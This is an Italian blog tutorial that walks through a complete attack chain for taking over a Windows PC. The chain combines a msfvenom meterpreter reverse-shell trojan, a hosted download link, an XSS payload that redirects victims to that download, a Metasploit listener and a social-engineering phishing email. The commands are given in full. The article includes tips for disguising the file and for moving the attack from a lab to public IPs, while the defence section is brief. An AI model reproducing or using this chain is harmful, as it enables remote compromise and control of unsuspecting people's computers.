Metasploit e Cross Site Scripting

3 ottobre 2017

In questo articolo vedremo come prendere possesso di un PC remoto utilizzando un attacco XSS.

Il laboratorio sarà costituito da due macchine, una con sistema operativo Kali Linux e l’altra con sistema operativo Windows 7.

L’attaccante invia una mail, creata con tecniche di social engineering, per convincere la vittima ad aprire un sito web (vulnerabile a XSS) e scaricare il file dannoso (un trojan) che gli permetterà di assumere il controllo del PC della vittima.

Figura 1. Schema generale di un XSS (fonte: Acunetix) (click per ingrandire)

Schema generale di un XSS

Gli strumenti che utilizzeremo per portare a termine l’attacco saranno:

  • Kali Linux
  • Windows 7
  • Metasploit
  • Mozilla Firefox

Vediamo innanzitutto come viene realizzato il trojan adatto a questa tipologia di attacco informatico. Chi è pratico di Metasploit avrà già intuito che utilizzeremo msfvenom.

Apriamo una shell in Kali Linux e digitiamo questi semplici comandi per creare il nostro trojan.

msfvenom -p windows/meterpreter/reverse_tcp --platform windows-a x86 -f exe LHOST=192.168.1.196 LPORT=4444 -o /root/Desktop/trojan.exe

LHOST è l’IP della macchina su cui gira Kali Linux, che possiamo ottenere da un terminale digitando ifconfig, mentre la LPORT è la porta predefinita di ascolto di Metasploit. Possiamo scegliere una porta qualsiasi da associare al campo LPORT.

Figura 2. Creazione del trojan utilizzando msfvenom (click per ingrandire)

Creazione del trojan utilizzando msfvenom

Potremmo pensare di inviare direttamente il trojan alla nostra vittima, ma oramai tutti i client di posta elettronica riconoscono questo tipo di file. Su Gmail, così come in altri client web, non è possibile caricare il nostro file:

Figura 3. Gmail identifica subito il file allegato trojan.exe come malware (click per ingrandire)

Gmail identifica subito il file allegato trojan.exe come malware

Il file generato va quindi caricato su di un server da cui potrà essere scaricato in un secondo momento. Ci sono molti siti che offrono questa tipologia di servizi, ma ovviamente il più sicuro sarà un server proprio dedicato all’attacco.

I più comuni servizi di upload effettuano uno scanning dei file prima di caricarli e ne bloccano l’upload se risultano sospetti.

Una volta effettuato l’upload del file malevolo, otterremo un link per il suo download, del tipo https://ufile.io/cidxd.

Creato il trojan e salvato su un server per il download, non ci resta che andare alla ricerca di una web application che sia vulnerabile al Cross Site Scripting (XSS), o in alternativa realizzeremo un sito ad hoc che risulti vulnerabile a questa tipologia di attacco, da utilizzare come tramite per fare scaricare il malware alla nostra vittima. Dato che scansionare siti alla ricerca di vulnerabilità tipo la XSS rappresenta potenzialmente un reato o comunque ci si potrebbe beccare una denuncia da parte del proprietario del sito web, meglio non rischiare. Creeremo noi un sito web vulnerabile a un attacco XSS.

Ovviamente il sito web dovrà ispirare fiducia e rassicurare l’utente che quello che sta succedendo è del tutto normale.

Cliccato il link che inseriremo nella mail, se tutto funzionerà a dovere, la vittima verrà reindirizzata sulla web application vulnerabile al Cross Site Scripting e verrà avviato il download del Trojan.

Trovata la web application http://example.com/, effettuiamo un primo test per verificare che tutto funzioni correttamente.

Ora mettiamoci in attesa per la connessione che il trojan invierà quando sarà attivato.

Apriamo una shell in Kali Linux e digitiamo:

Msfconsole

Attendiamo il caricamento e poi digitiamo questi semplici comandi, uno alla volta:

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.1.196
exploit

Figura 4. Avvio della sessione di ascolto di Meterpreter (click per ingrandire)

Avvio della sessione di ascolto di Meterpreter

Caricato il trojan e avviata la sessione di meterpreter, andiamo a inserire nella casella di ricerca della web application il seguente codice:

XSS Payload => <script>alert("Download esito prova di Ammissione "); window.location.href="https://ufile.io/cidxd"</script>

Il codice viene eseguito come desiderato e il download del trojan si avvia.

Lo step successivo consiste nel confezionare una mail da inviare alla nostra vittima, utilizzando delle tecniche di social engineering.

Figura 5. Compilazione di una mail mediante tecniche di social engineering (click per ingrandire)

Compilazione di una mail mediante tecniche di social engineering

Per realizzare una ottima mail con tecniche di social engineering dobbiamo conoscere molto bene la nostra vittima, le sue abitudini, le sue passioni, il suo lavoro. Non entreremo nel merito in questa sede, limitandoci a supporre di avere realizzato questa mail e di averla inviata.

La vittima controllerà la posta, aprirà la nostra mail e, nella migliore ipotesi (o peggiore, a seconda dei punti di vista) farà click sul nostro URL.

Figura 6. Avvio del download del file malevolo (click per ingrandire)

Avvio del download del file malevolo

Figura 7. Schermata della sessione Meterpreter attivata dal trojan.exe (click per ingrandire)

Schermata della sessione Meterpreter attivata dal trojan.exe

Aperta la sessione con il comando sysinfo, l’attaccante avrà già le prime preziose informazioni.

Figura 8. Prime info ottenute con il comando sysinfo (click per ingrandire)

Prime info ottenute con il comando sysinfo

Noto il sistema operativo, si può iniziare a preparare l’attacco mirato e la privilege escalation, ottenendo il controllo completo della macchina.

Alcune osservazioni

  1. L’exploit è stato utilizzato in una intranet, per testarlo online basta sostituire l’IP privato con quello pubblico.
  2. Questo exploit può essere applicato anche ad altre versioni di Windows (con qualche opportuna modifica).
  3. Nell’esempio, si è lasciato il nome trojan.exe per tenere bene a mente cosa stavamo facendo, un nome più appropriato sarebbe stato scelto sempre sfruttando la social engineering.
  4. Il successo dell’attacco dipende molto dalle tecniche di social engineering utilizzate.

Come difendersi

Un hacker professionista punta molto su queste tecniche per raggiungere il proprio obiettivo. L’utente vittima ha poche difese da mettere in gioco. Per ostacolare il piu possibile questi tentativi di attacco, bisogna avere l’accortezza di:

  1. Tenere aggiornato il proprio antivirus
  2. Evitare di aprire email ricevute da mittenti sconosciuti
  3. Controllare sempre i link che si ricevono per posta
  4. Controllare sempre i re-indirizzamenti

Applicando queste semplici regole sarà molto difficile per un hacker impadronirsi del vostro PC.

Si noti, infine, che questo articolo ha puro scopo educativo ed è stato eseguito in ambiente controllato. Eventuali tentativi di replica su siti web o indirizzi IP pubblici costituiscono reato informatico.

Se vuoi aggiornamenti su Metasploit e Cross Site Scripting inserisci la tua e-mail nel box qui sotto:
 
X
Se vuoi aggiornamenti su Metasploit e Cross Site Scripting

inserisci la tua e-mail nel box qui sotto:

Ho letto e acconsento l'informativa sulla privacy

Acconsento al trattamento di cui al punto 3 dell'informativa sulla privacy